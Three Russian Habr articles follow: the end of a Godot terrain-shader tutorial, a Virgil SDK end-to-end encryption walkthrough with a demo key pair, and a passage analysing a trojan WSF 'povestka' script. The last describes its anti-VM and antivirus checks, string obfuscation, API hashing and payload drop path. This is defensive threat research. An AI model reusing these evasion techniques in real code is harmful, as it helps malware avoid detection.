Terrain Generator зададим пути в инспекторе к остальным узлам. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/5eb/7af/3fa/5eb7af3fabb2e5bae7cabde96a58a8d6.png)Не забудем скрыть отладочный ColorRect, иначе он будет мешать. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e93/8bc/244/e938bc244ae05d43dc295f593610b969.png)Рекомендую также увеличить свойство Far камеры, иначе мы не будем видеть весь Terrain. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/be3/cb5/8c0/be3cb58c0eae50639c07a4ca0bae0f6c.png)При запуске на первый взгляд видна просто белая плоскость. Дело в том, что мы выводили значения только от нуля до единицы. Необходимо это исправить. ![Terrain не видно полностью даже с Far = 5000](https://habrastorage.org/r/w1560/getpro/habr/upload_files/b59/33c/ba1/b5933cba1759e333d99985be00160f31.png "Terrain не видно полностью даже с Far = 5000")Terrain не видно полностью даже с Far = 5000Вернёмся к шейдеру и добавим переменную max\_height. ``` shader_type canvas_item; uniform vec2 offset = vec2(0, 0); uniform float max_height = 1.0; ``` В fragment() добавим умножение на max\_height. ``` void fragment() { COLOR.rgb = vec3(get_height(UV.x, UV.y) * max_height, 0.0, 0.0); } ``` У ColorRect, находящегося в Viewport укажем max\_height в редакторе на 300 (к примеру). ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/9be/a40/b0d/9bea40b0db4b97f92479ed498ac97479.png)Добавим на сцену также Directional Light с Shadow/Enabled = True. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/750/e2b/7b4/750e2b7b4245acf2194fdb91890ca0a1.png)На данный момент результат выглядит как-то так. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/cd0/3af/b54/cd03afb5470e76554352f312822f49e3.png)Для лучшего понимания в редакторе добавим Plane MeshInstance, который будет показывать уровень воды. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/1df/df2/cc4/1dfdf2cc4e45645053a16518891e546d.png)Артефакты можно убрать увеличив Near камеры. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/4a4/10d/e10/4a410de108f771e2e457affc1e499fa6.png)Вернёмся к шейдеру. Попробуем комбинировать несколько слоев шума, чтобы получать лучший результат. ``` ... float get_height(float x, float y) { float base_noise = snoise((vec2(x, y) + offset) * 2.0) * 0.5 + 0.5; float dist = distance(vec2(x, y), vec2(0.5, 0.5)); float inv_dist = 1.0 - dist / 0.5; float base = inv_dist / 0.25 * base_noise; float layer_noise = snoise((vec2(x, y) + offset) * 10.0) * 0.5; float result = base / 4.0 + layer_noise / 60.0; return result; } void fragment() { COLOR.rgb = vec3(get_height(UV.x, UV.y) * max_height, 0.0, 0.0); } ``` ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/76c/040/b5a/76c040b5ad0063612cba260bcb1b07d9.png)Это уже больше похоже на остров. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/bb4/985/84b/bb498584bf9dcf740ce142124a10cfb5.png)Normal Map ---------- Теперь нужно сгенерировать все остальные текстуры для terrain. Добавим переменную, которая будет показывать, какую именно текстуру нужно сгенерировать. 0 - Height Map 1 - Normal Map 2 - Splat Map ``` shader_type canvas_item; uniform vec2 offset = vec2(0, 0); uniform float max_height = 1.0; uniform int texture_type = 0; ... ``` Получим нормаль прямо из шума и выведем её при texture\_type == 1. ``` ... vec3 encode_normal(vec3 n){ return (0.5 * (n + vec3(1.0))).rbg; } float get_height(float x, float y) { float base_noise = snoise((vec2(x, y) + offset) * 2.0) * 0.5 + 0.5; float dist = distance(vec2(x, y), vec2(0.5, 0.5)); float inv_dist = 1.0 - dist / 0.5; float base = inv_dist / 0.25 * base_noise; float layer_noise = snoise((vec2(x, y) + offset) * 10.0) * 0.5; float result = base / 4.0 + layer_noise / 60.0; return result; } void fragment() { float height = get_height(UV.x, UV.y); float real_height = height * max_height; float h_right = max_height * get_height(UV.x + 0.0000244140625, UV.y); float h_forward = max_height * get_height(UV.x, UV.y + 0.0000244140625); vec3 normal = normalize(vec3(real_height - h_right, 0.1, h_forward - real_height)); switch (texture_type){ case 0: COLOR.rgb = vec3(real_height, 0.0, 0.0); break; case 1: COLOR.rgb = encode_normal(normal); break; } } ``` Результат при texture\_type == 1. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/9a8/83d/3a8/9a883d3a86bbcde51948dfd714bc45c9.png)Splat Map --------- При генерации Splat Map появляется первая серьёзная проблема. Каждый пиксель Splat Map представляет вес четырёх текстур в виде значений четырёх каналов R, G, B, A. Но мы не можем правильно передать текстуру с прозрачностью из шейдера, так как при считывании значение A приближается к значение R, G, B и изначальное значение теряется. Поэтому я отдельно рендерю карту с R, G, B, а затем карту со значениями A. Затем они объединяются со стороны GDScript. Это очень сильно снижает производительность, но мне пока что не приходит на ум лучшего решения без изменения кода плагина. 2 = Splat Map 3 = Splat Map A Можно высчитывать значения Splat Map в зависимости от высоты и нормали. Triplanar Mapping поддерживается только для четвертого канала, поэтому для склонов мы будем использовать его. Хотя в моем случае склонов обычно не генерируется. R = Земля G = Песок B = A = Склоны ``` vec3 encode_normal(vec3 n){ return (0.5 * (n + vec3(1.0))).rbg; } vec4 linear_interpolate(vec4 a, vec4 b, float ammount){ return a + (b - a) * ammount; } float get_height(float x, float y) { float base_noise = snoise((vec2(x, y) + offset) * 2.0) * 0.5 + 0.5; float dist = distance(vec2(x, y), vec2(0.5, 0.5)); float inv_dist = 1.0 - dist / 0.5; float base = inv_dist / 0.25 * base_noise; float layer_noise = snoise((vec2(x, y) + offset) * 10.0) * 0.5; float result = base / 4.0 + layer_noise / 60.0; return result; } void fragment() { float height = get_height(UV.x, UV.y); float real_height = height * max_height; float h_right = max_height * get_height(UV.x + 0.0000244140625, UV.y); float h_forward = max_height * get_height(UV.x, UV.y + 0.0000244140625); vec3 normal = normalize(vec3(real_height - h_right, 0.1, h_forward - real_height)); vec4 splat = vec4(1.0, 0.0, 0.0, 0.0); float slope = 4.0 * dot(normal, vec3(0.0, 1.0, 0.0)) - 2.0; float slope_amount = clamp(1.0 - slope, 0.0, 1.0); float sand_amount = clamp(30.0 - real_height, 0.0, 1.0); splat = linear_interpolate(splat, vec4(0.0,1.0,0.0,0.0), sand_amount); splat = linear_interpolate(splat, vec4(0.0,0.0,0.0,1.0), slope_amount); switch (texture_type){ case 0: COLOR.rgb = vec3(real_height, 0.0, 0.0); break; case 1: COLOR.rgb = encode_normal(normal); break; case 2: COLOR.rgb = splat.rgb; break; case 3: COLOR.rgb = vec3(splat.a, 0, 0); break; } } ``` texture\_type = 2. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/b0c/0fe/51d/b0c0fe51ddbadb5f98e641eb787139d9.png)texture\_type = 3 ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/9db/fd8/8dd/9dbfd88dd5db60660d0342c725d7b834.png)Если сделать значения высоты сильно резче: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/524/101/a5a/524101a5af3ffda90913fd0dee1b9593.png)Вернёмся к части GDScript. ``` extends Node # Импортируем необходимые классы из плагина const HTerrain = preload("res://addons/zylann.hterrain/hterrain.gd") const HTerrainData = preload("res://addons/zylann.hterrain/hterrain_data.gd") const HTerrainTextureSet = preload("res://addons/zylann.hterrain/hterrain_texture_set.gd") # Набор текстур Terrain созданный в редакторе const texture_set = preload("res://terrain_texture_set.tres") # Нам необходим объект Viewport с нашим TextureRect export (NodePath) var viewport_path :NodePath onready var viewport :Viewport = get_node(viewport_path) export (NodePath) var shader_node_path :NodePath onready var shader_node :CanvasItem = get_node(shader_node_path) func _ready(): randomize() # Зададим случайное смещение параметра offse шейдера, для того чтобы при каждом запуске получать разные результаты shader_node.material.set_shader_param("offset", Vector2(rand_range(-100.0, 100.0), rand_range(-100, 100))) # Создадим объект с данными Terrain var terrain_data = HTerrainData.new() terrain_data.resize(4097) # Получим изображения var heightmap :Image = terrain_data.get_image(HTerrainData.CHANNEL_HEIGHT) var normalmap :Image = terrain_data.get_image(HTerrainData.CHANNEL_NORMAL) var splatmap :Image = terrain_data.get_image(HTerrainData.CHANNEL_SPLAT) # -------- # Укажем шейдеру какую текстуру мы хотим получить shader_node.material.set_shader_param("texture_type", 0) # Заставим Viewport обновиться viewport.render_target_update_mode = Viewport.UPDATE_ONCE # Благодаря этой конструкции мы можем пропустить выполнение пары кадров для этого кода, чтобы Viewport успел зарендерить картинку. yield(get_tree(), "idle_frame") yield(get_tree(), "idle_frame") # Получим картинку с Viewport var computed_heightmap :Image = viewport.get_texture().get_data() # -------- # Укажем шейдеру какую текстуру мы хотим получить shader_node.material.set_shader_param("texture_type", 1) # Заставим Viewport обновиться viewport.render_target_update_mode = Viewport.UPDATE_ONCE # Благодаря этой конструкции мы можем пропустить выполнение пары кадров для этого кода, чтобы Viewport успел зарендерить картинку. yield(get_tree(), "idle_frame") yield(get_tree(), "idle_frame") # Получим картинку с Viewport var computed_normalmap :Image = viewport.get_texture().get_data() # -------- # Укажем шейдеру какую текстуру мы хотим получить shader_node.material.set_shader_param("texture_type", 2) # Заставим Viewport обновиться viewport.render_target_update_mode = Viewport.UPDATE_ONCE # Благодаря этой конструкции мы можем пропустить выполнение пары кадров для этого кода, чтобы Viewport успел зарендерить картинку. yield(get_tree(), "idle_frame") yield(get_tree(), "idle_frame") # Получим картинку с Viewport var computed_splatmap :Image = viewport.get_texture().get_data() # -------- # Укажем шейдеру какую текстуру мы хотим получить shader_node.material.set_shader_param("texture_type", 3) # Заставим Viewport обновиться viewport.render_target_update_mode = Viewport.UPDATE_ONCE # Благодаря этой конструкции мы можем пропустить выполнение пары кадров для этого кода, чтобы Viewport успел зарендерить картинку. yield(get_tree(), "idle_frame") yield(get_tree(), "idle_frame") # Получим картинку с Viewport var computed_splatmap_a :Image = viewport.get_texture().get_data() # -------- # Объединим Splat Map RGB и Splat Map A computed_splatmap.lock() computed_splatmap_a.lock() for x in range(computed_splatmap.get_width()): for y in range(computed_splatmap.get_height()): var p :Color = computed_splatmap.get_pixel(x, y) p.a = computed_splatmap_a.get_pixel(x, y).r; computed_splatmap.set_pixel(x, y, p) computed_splatmap.unlock() computed_splatmap_a.unlock() # Вернём полученные текстуры в Terrain Data heightmap.copy_from(computed_heightmap) normalmap.copy_from(computed_normalmap) splatmap.copy_from(computed_splatmap) # Создаём узел Terrain var terrain = HTerrain.new() terrain.set_shader_type(HTerrain.SHADER_CLASSIC4_LITE) terrain.set_shader_param("u_triplanar", true) terrain.set_shader_param("u_tile_reduction", Quat(1.0, 1.0, 1.0, 1.0)) terrain.set_shader_param("u_depth_blending", true) terrain.set_texture_set(texture_set) terrain.set_data(terrain_data) terrain.translation = Vector3(-2048.5, -25, -2048.5) # Добавим узел Terrain на сцену add_child(terrain) ``` Здесь было бы неплохо объединить четыре одинаковых фрагмента получения текстур в функцию, однако это не получается сделать из-за использования yield(), который завершает выполнение функции и возвращает значение, указывающее какой сейчас оператор выполняется. Также появилась переменная texture\_set. Нужно создать TextureSet в редакторе. Добавим в проект текстуры. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/8bd/9ad/a65/8bd9ada656ca45e05abfd7cb6ff3e7a3.png)Создадим узел HTerrain в редакторе, чтобы получить доступ к его инструментам. Нажмём на Import... в окне управления текстурами ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/2c1/42a/022/2c142a0228f24c83700eee7d4dd8a1cd.png)Устанавливаем все четыре набора текстур и импортируем. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/3d2/7e8/10c/3d27e810c22494c8040fcfd93d204238.png)В инспекторе выберем ресурс из свойства Texture Set и сохраним его в файл "terrain\_texture\_set.tres" ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/5cf/7e5/de2/5cf7e5de24972ccf6fef4af50559993f.png)![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/6d4/dbc/752/6d4dbc752b684b4b9ac725821b7473c4.png)Удаляем ненужный HTerrain и тестируем проект. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/4db/3c2/fdf/4db3c2fdfe3f4234ee8c24189d3a8ecd.png)Если сделать вывод функции get\_height() более резким, то появляются склоны. ``` // 2.0 -> 20.0 float base_noise = snoise((vec2(x, y) + offset) * 20.0) * 0.5 + 0.5; ``` ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/7a9/c05/77a/7a9c0577a29ba50034aa01cd7d65805b.png)Теперь можно создать более реалистичную воду. Я использовал этот шейдер: <https://github.com/godot-extended-libraries/godot-realistic-water> Результат: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/393/0cb/4ec/3930cb4ec52b0826a589860d495848bc.png)![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/849/f0e/176/849f0e1766ecf528626d276c9a3c1418.png)Понравилась статья? ------------------- Здесь вы можете поддержать меня, а также скачать готовый проект: <https://gtutorials.gumroad.com/l/generation_part_1> Добавим в код функцию encode\_normal()
https://habr.com/ru/post/571626/
null
ru
null
# Как перестать бояться и полюбить end-to-end шифрование ![](https://habrastorage.org/r/w780q1/files/440/125/281/4401252811174d2aa4e63e28a9408feb.jpg) Привет, Хабр! В комментариях к нашему первому посту народ требовал ~~хлеба и зрелищ~~ кода и [«success story»](https://habrahabr.ru/company/virgilsecurity/blog/283458/#comment_8893256). И если с первым у нас все более-менее нормально, то со вторым чего-то, как-то не складывается пока. Мы, знаете ли, люди все молодые, успехи у нас достаточно скромные, в баскетбол вот неплохо играем. Одним словом, сегодня мы пока просто немного покодим и раскажем о реализации end-to-end шифрования с использованием наших сервисов. А «success story»? Какие наши годы, будут еще в нашем блоге эти самые success stories. #### Управление ключами Одна из проблем реализации end-to-end шифрования заключается в безопасной передаче ключей шифрования получателю. Наиболее очевидный способ решения проблемы — криптография с открытым ключом. Каждый пользователь системы имеет ключ, состоящий из двух частей: закрытая часть (секретный ключ), который хранится в секрете и никогда не передается по сети; открытая часть (публичный ключ), который должен быть доступен для всех участников системы. Секретный ключ принято использовать для подписания и расшифровки, в то время как с помощью открытого ключа производятся операции шифрования и проверки подписи. Исходя из определения секретного и публичного ключа следует, что абсолютно любой участник системы способен, используя публичный ключ, зашифровать сообщение, но только обладатель секретного ключа способен это сообщение расшифровать. Первое что следует принять во внимание при реализации схемы с открытым ключом — это возможность подмены публичного ключа третьей стороной. Злоумышленник, располагающий возможностью модифицировать трафик, способен перехватить публичный ключ пользователя Алиса и подменить его на свой собственный публичный ключ. Это приводит к тому, что пользователь Боб, при попытке отправить зашифраванное сообщение Алисе, на самом деле зашифрует его ключом атакующего, который сможет расшифровать и прочитать секретные данные. Один из возможных вариантов предотвращения такой ситуации — это возможность однозначно идентифицировать обладателя ключа. В таком случае подмена ключа станет очевидна для Боба. В качестве идентификатора, можно указать e-mail адрес, номер телефона и другую уникальную, но легко распознаваемую информацию. При этом следует учесть, что идентификатор указываемый при создании нового ключа, должен быть проверен и подтвержден. В противном случае мы рискуем получить систему, в которой каждый пользователь сможет выдать себя за кого угодно. Для проверки имени потребуется сервис **проверки личности** (identity validation service). Как правило, такие сервисы высылают случайно сгенерированный код на указанный в качестве имени e-mail адрес или номер телефона и ждут подтверждения от пользователя. Однако использование сервиса проверки личности лишь перекладывает проблему доверия с канала связи на сам сервис. На самом деле ничто не мешает владельцу сервиса создать скомпрометированный ключ, якобы принадлежащий третьей стороне. Для того, чтобы полностью избавиться от возможности появления скомпрометированных ключей, необходима **аутентификация ключей**. Аутентификация ключей – способ убедить Боба, что ключ который он считает принадлежащим Алисе, на самом деле принадлежит Алисе. Существует несколько способов решения проблемы аутентификации ключей. Наиболее очевидный среди них – это обмен ключами при личной встрече или с использованием более надежного канала связи. Несмотря на высокую надежность, этот способ не всегда реализуем в реальном мире. Поэтому используется один из следующих методов аутентификации ключей. Первый способ – использование доверенных центров сертификации. Когда определенный пользователь (доверенный центр) системы располагает неограниченным доверием и способен выступать в качестве заверителя ключей. Ни один ключ в такой системе не считается надежным без подписи доверенного центра. Второй способ – использование сети доверия. При этом, каждый пользователь системы в праве подписать ключ любого другого пользователя, подтверждая тем самым, что ключ на самом деле принадлежит указанному владельцу. Чем больше заверяющих подписей под ключом, тем большего доверия он заслуживает. Таким образом, процедура создания, хранения и передачи ключей имеет ряд подводных камней, которые легко обойти с помощью Virgil Security. #### Virgil Security Virgil Security предоставляет набор бесплатных криптографических сервисов, использование которых помогает решить множество проблем, связанных с безопасностью. В частности, проблему управления ключами. На сегодняшний день Virgil Security это: 1. **Virgil crypto library** – это оболочка над mbedTLS с открытым исходным кодом, которая позволяет использовать все стандартные алгоритмы шифрования и подписи. А также добавляет гибридные алгоритмы шифрования (ECIES). Virgil crypto library позволяет менять алгоритмы в будущем без першифровки существующих данных — принцип crypto agility. 2. **Virgil identity service** – сервис проверки личности с открытым API, позволяющий проверить валидность e-mail адреса. Сервис высылает на указанный e-mail секретный код, который должен быть введен пользователем для подтверждения факта владения адресом. 3. **Virgil keys service** – сервис публичных ключей, позволяющий работать с надежным и доступным хранилищем публичных ключей. Каждый ключ в хранилище привязан к специальной структуре данных, называемой VirgilCard. VirgilCard обязательно включает в себя: уникальный идентификатор карты — id, идентификатор владельца ключа — e-mail адрес, номер телефона и т.д., а также дату создания ключа. С помощью Virgil keys service можно быстро находить публичные ключи пользователей системы, а также удалять карты со скомпрометированными ключами. 4. **Virgil private keys service** — сервис секретных ключей, отвечающий за загрузку, скачивание и удаление секретных ключей. Для доступа к секретному ключу, необходимо подтвердить владение Virgil картой, к которой он привязан. Все вышеперечисленные сервисы имеют широкий выбор [готовых SDK](https://virgilsecurity.com/downloads) и могут использоваться для решения самого широкого спектра задач, связанных с информационной безопасностью. #### Virgil services и end-to-end шифрование Ну вот теперь пришло время немного покодить. Покажем как с помощью Virgil Security осуществить надежное end-to-end шифрование. Для этого реализуем следующую схему: ![](https://habrastorage.org/r/w780q1/files/0e0/dd3/932/0e0dd3932b424037870fc28daeccb751.jpg) Обратите внимание, что при шифровании используется [ECIES](https://en.wikipedia.org/wiki/Integrated_Encryption_Scheme) схема. Это означает, что сообщение шифруется симметричным алгоритмом AES с помощью эфемерного симметричного ключа, восстановить который возможно только обладая приватным ключом получателя. Шифрование же производится с использованием публичного ключа получателя. Для работы с сервисами Virgil Security нам нужно получить секретный токен и пара публичный/закрытый ключ. Для этого регистрируемся на сайте [Virgil Security](https://developer.virgilsecurity.com/account/signin). После этого приступаем к реализации e2ee. 1. Скачиваем и устанавливаем VirgilSDK используя NPM: ``` npm install virgil-sdk ``` 2. Инициализируем работу с сервисами Virgil Security: ``` var virgil = new VirgilSDK("%ACCESS_TOKEN%"); ``` 3. Генерируем пару ключей: ``` var keyPair = virgil.crypto.generateKeyPair(); console.log(keyPair.publicKey); console.log(keyPair.privateKey); ``` **И получаем вот такой результат:**-----BEGIN PUBLIC KEY----- MFswFQYHKoZIzj0CAQYKKwYBBAGXVQEFAQNCAAQO8ohmBRyclmcfQ38Lwmvv4Cau jyX6vWn8kJrR0RRfFQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -----END PUBLIC KEY----- -----BEGIN EC PRIVATE KEY----- MHkCAQEEIFB+lOUvbb4WX+e3zLkAcYpvZR3qpQI8Ru/tcnciCMkIoAwGCisGAQQB l1UBBQGhRANCAAQO8ohmBRyclmcfQ38Lwmvv4CaujyX6vWn8kJrR0RRfFQAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -----END EC PRIVATE KEY----- 4. Публикуем открытый ключ. Для этого необходим validation token, подтверждающий личность владельца ключа. Получить validation token можно двумя способами: первый воспользоваться сервисом Virgil Identity, который проверит действительно ли владелец ключа имеет доступ к узаканному email адресу и сгенерирует validation token. Либо можно воспользоваться приватным ключом приложения и с его помощью сгенерировать validation token самостоятельно. В таком случае разработчик избегает необходимость доверять стороннему сервису идентификации. Воспользуемся полученным validation token и сохраним публичный ключ на сервере: ``` var options = { public_key: keyPair.publicKey, private_key: keyPair.privateKey, identity: { type: 'member', value: 'Darth Vader', validation_token: '%VALIDATION_TOKEN%' } }; virgil.cards.create(options).then(function (card){ myCard = card; console.log(card); }); ``` **В результате на сервере публичных ключей будет создана карта следующего вида:**```` { "id":"3e5a5d8b-e0b9-4be6-aa6b-66e3374c05b3", "authorized_by":"com.virgilsecurity.twilio-ip-messaging-demo", "hash":"QiWtZjZyIQhqZK7+3nZmIEWFBU+qI64EzSuqBcY+E7ZtKPwd4ZyU6gdfU/VzbTn6dHtfahCzHasN...", "data":null, "created_at":"2016-05-03T14:34:08+0000", "public_key":{ "id":"359abe31-3344-453a-a292-fd98a83e500a", "public_key":"-----BEGIN PUBLIC KEY-----\nMFswFQYHKoZIzj0CAQYKKwYBBAGXVQEFAQNCAAQ...", "created_at":"2016-05-03T14:34:08+0000" }, "identity":{ "id":"965ea277-ab78-442c-93fe-6bf1d70aeb4b", "type":"member", "value":"Darth Vader", "created_at":"2016-05-03T14:34:08+0000" } } ```` 5. Создаем канал, по которому будут передаваться зашифрованные сообщения. Сделать это будет не так сложно, как кажется. С недавних пор мы стали партнерами с компанией Twilio, которая в частности предоставляет API для реализации IP мессенджера. Пример готового IP мессенджера со встроенной функцией end-to-end шифрования можно найти [тут](https://github.com/VirgilSecurity/virgil-demo-twilio). ``` // Create a Channel twilioClient.createChannel({ friendlyName: 'general' }).then(function(channel) { generalChannel = channel; }); ``` 6. Чтобы отправить секретное сообщение найдем публичные ключи собеседников и воспользуемся им для шифрования ``` // Receive the list of Channel's recipients Promise.all(generalChannel.getMembers().map(function(member) { // Search for the member’s cards on Virgil Keys service return virgil.cards.search({ value: member.identity, type: 'member' }) .then(function(cards){ return { recipientId: cards[0].id, publicKey: cards[0].public_key.public_key }; }); }).then(function(recipients) { var message = $('#chat-input').val(); var encryptedMessage = virgil.crypto.encryptStringToBase64(message, recipients); generalChannel.sendMessage(encryptedMessage); console.log(encryptedMessage); }); ``` **Зашифрованное сообщение выглядит следующим образом:**`MIIDBQIBADCCAv4GCSqGSIb3DQEHA6CCAu8wggLrAgECMYICvDCCAVoCAQKgJgQkMDg3YjgwYmMtMzNjYi00MTI1LWI4YTgtYTE 3OTEwM2Y3ZjRkMBUGByqGSM49AgEGCisGAQQBl1UBBQEEggEUMIIBEAIBADBbMBUGByqGSM49AgEGCisGAQQBl1UBBQEDQgAEcd 8fhKqYlZxvcmmodg7Z3PNhE1LXLJqobouEcRfZaRMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAYBgcogYxxAgUCM A0GCWCGSAFlAwQCAgUAMEEwDQYJYIZIAWUDBAICBQAEMEaJMAvX7S+52BpI5hYyFOc0noIc+qdFFrQanNAtNGBAX/Pxeg5yJ2iA JijyZ8ut9zBRMB0GCWCGSAFlAwQBKgQQ81bklcNOyU/QTatCigSzoAQwHnAcbXk0daExIIS+sr6aIvVuF/o6j+1Rs5bvq2WVN41 k/Oir5x7KZTSR7v3nx+fTMIIBWgIBAqAmBCRmNzM4YTUwNi1hMDYwLTQ1MDgtYTJkYS04NjY1NjZlYzg0ODMwFQYHKoZIzj0CAQ YKKwYBBAGXVQEFAQSCARQwggEQAgEAMFswFQYHKoZIzj0CAQYKKwYBBAGXVQEFAQNCAARJ5C3hsYuI2Sf14k60Dz5Mv5yD/AsVA zPfsmlreGTC2gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMBgGByiBjHECBQIwDQYJYIZIAWUDBAICBQAwQTANBglg hkgBZQMEAgIFAAQwhu7WM1rff9RYsQ+dmfX9Os3Irwm4cm5bIvUlcGXlCfmEsrjTyTg5MGjYLtxbYtL9MFEwHQYJYIZIAWUDBAE qBBCfKdP/gZnkVwJvv4Hdf2eWBDC3czBjV/yPGeGTqBIilHSsrqwK7lVMTBuKR+mR3eNdh+yBIAcOk4rveSUbDuWagDIwJgYJKo ZIhvcNAQcBMBkGCWCGSAFlAwQBLgQMfjkCvK3UgXdorcYUmtCHHuSm4yfBacMsniMADAeos7qN7OmNsFU1` 7. Получатель расшифровывает сообщение, используя секретный ключ: ``` // Listen for new Messages sent to a Channel generalChannel.on('messageAdded', function(message) { // Decrypt the Message using card id and private key values. var decryptedMessage = virgil.crypto.decryptStringFromBase64( message.body, myCard.id, keyPair.privateKey ); console.log(message.author + ': ' + decryptedMessage); }); ``` **И увидит следующее:**Darth Vader: Luke. I am your father! Достаточно просто. Вы пишите всего несколько строк кода и получаете полноценное end-to-end шифрование с возможностью аутентификации ключей. При этом сервисы Virgil Security не имеют доступа к секретным ключам пользователей, что исключает возможность чтения секретных данных.
https://habr.com/ru/post/301772/
null
ru
null
# Изучаем троянскую повестку с мимикрией под XDSpy В ходе постоянного отслеживания угроз ИБ утром, 3 октября, в одном из Telegram-чатов мы заметили промелькнувший файл со злободневным названием **Povestka\_26-09-2022.wsf**. Беглый осмотр содержимого привлек наше внимание, и мы решили разобрать его подробней. И, как оказалось, не зря. Разбор вредоносного скрипта --------------------------- Образец представляет собой обфусцированный JavaScript WSF-файл, задачей которого является выполнение нескольких проверок на наличие виртуальной среды или песочницы (anti-vm/anti-sandbox) и запуск основной полезной нагрузки. Все строки в скрипте зашифрованы простым XOR и представлены в виде шестнадцатеричных последовательностей.  Функция расшифровки строк представлена на рис.1. ![Рисунок 1. Алгоритм расшифровки строк в скрипте](https://habrastorage.org/r/w1560/getpro/habr/upload_files/80e/2d8/37d/80e2d837df13de33a6a6c74c3083e572.png "Рисунок 1. Алгоритм расшифровки строк в скрипте")Рисунок 1. Алгоритм расшифровки строк в скриптеПри запуске скрипт сначала пытается открыть Internet Explorer для отвлечения внимания пользователя (рис. 2). ![Рисунок 2. Открытие Internet Explorer](https://habrastorage.org/r/w1560/getpro/habr/upload_files/331/344/bc9/331344bc99ee69c191c442e38ab114c5.png "Рисунок 2. Открытие Internet Explorer")Рисунок 2. Открытие Internet ExplorerПосле чего он сравнивает текущее имя пользователя с захардкоженным списком (рис. 3). Если эта или одна из последующих проверок будет провалена, выставляется специальный флаг, предотвращающий дальнейшее выполнение скрипта. ![Рисунок 3. Проверка имени текущего пользователя](https://habrastorage.org/r/w1560/getpro/habr/upload_files/48c/a07/183/48ca07183494a57340c7cf889d39f7e8.png "Рисунок 3. Проверка имени текущего пользователя")Рисунок 3. Проверка имени текущего пользователяЗатем исследуемый скрипт проверяет установленные в системе антивирусы. Осуществляется это через перечисление всех присутствующих папок в Program Files и Program Files(x86), конкатенацию всех имен файлов в одну строку и поиск подстрок **mante** (Symantec) **orton se** (Norton Security) **itdefender** (Bitdefender) в ней (рис. 4). ![Рисунок 4. Проверка установленных антивирусов](https://habrastorage.org/r/w1560/getpro/habr/upload_files/22e/107/4c7/22e1074c79ef3d99af4943ecdc9e6d81.png "Рисунок 4. Проверка установленных антивирусов")Рисунок 4. Проверка установленных антивирусовВ заключение проводятся проверка наличия директорий, специфичных для виртуальных сред, а также проверка имени хоста (рис. 5). Стоит отметить, что в случае VMware проверка является слишком общей и не будет пройдена, если на машине установлены любые продукты компании. ![Рисунок 5. Проверка имени хоста и директорий](https://habrastorage.org/r/w1560/getpro/habr/upload_files/204/000/353/2040003539f350fce3b3d1333bbbe982.png "Рисунок 5. Проверка имени хоста и директорий")Рисунок 5. Проверка имени хоста и директорийЕсли все проверки были успешно пройдены, то скрипт переходит к восстановлению полезной нагрузки. Алгоритм представлен на рис. 6. ![Рисунок 6. Расшифровка нагрузки](https://habrastorage.org/r/w1560/getpro/habr/upload_files/bb3/97f/a11/bb397fa11877bb071fb66cc8764fa568.png "Рисунок 6. Расшифровка нагрузки")Рисунок 6. Расшифровка нагрузки Восстановленный файл записывается в **%APPDATA%\Local\AnalysisManager.bin** и затем переименовывается в **AnalysisManager.exe**, после чего запускается через объект ShellWindows (CLSID: 9BA05972-F6A8-11CF-A442-00A0C90A8F39) (рис. 7). ![Рисунок 7. Запуск нагрузки](https://habrastorage.org/r/w1560/getpro/habr/upload_files/32d/50c/fa0/32d50cfa03debf1b0e7189632c73ade5.png "Рисунок 7. Запуск нагрузки")Рисунок 7. Запуск нагрузкиАнализ ВПО ---------- Все строки и почти все API-вызовы в исследуемом образце обфусцированы. Каждая строка собирается в отдельной функции, после чего передается в обработчик, ее расшифровывающий. На каждую длину строки может быть один или несколько обработчиков. Пример приведен на рис. 8. ![Рисунок 8. Запуск нагрузки](https://habrastorage.org/r/w1560/getpro/habr/upload_files/a9f/b80/3b7/a9fb803b7071aaead7cb4aa30ad5e9bd.png "Рисунок 8. Запуск нагрузки")Рисунок 8. Запуск нагрузкиПри запуске образец ищет в памяти адрес kernel32.dll по хешу ror13 **(0x6A4ABC5B)** и далее с помощью кастомной реализации **GetProcAddress**, получает адрес функции **LoadLibrary** (рис. 9). Затем он подгружает прочие требуемые для работы библиотеки. ![Рисунок 9. Поиск адресов kernel32 и LoadLibrary](https://habrastorage.org/r/w1560/getpro/habr/upload_files/4c6/05e/a15/4c605ea15ab06345549e95928cb749f4.png "Рисунок 9. Поиск адресов kernel32 и LoadLibrary")Рисунок 9. Поиск адресов kernel32 и LoadLibraryРеализация GetProcAddress приведена на рис. 10. ![Рисунок 10. Реализация GetProcAddress](https://habrastorage.org/r/w1560/getpro/habr/upload_files/25f/4cd/368/25f4cd3689d839dbcf85731ac0f8462b.png "Рисунок 10. Реализация GetProcAddress")Рисунок 10. Реализация GetProcAddressЗатем образец действует аналогично скрипту, собирая информацию о содержимом Program Files и Program Files (x86). Далее идет получение текущего пути запуска через вызов **GetModuleFileName(0)** и проверяется наличие подстроки **ata\Loc** в нем (с учетом регистра). Если проверка пройдена, запускается новый поток со следующим этапом anti-vm проверок. Проверяется наличие директории **C:\\Windows\\DataManagerVbox,** а также наличие файлов и pipe, связанных с VirtualBox и VMware. 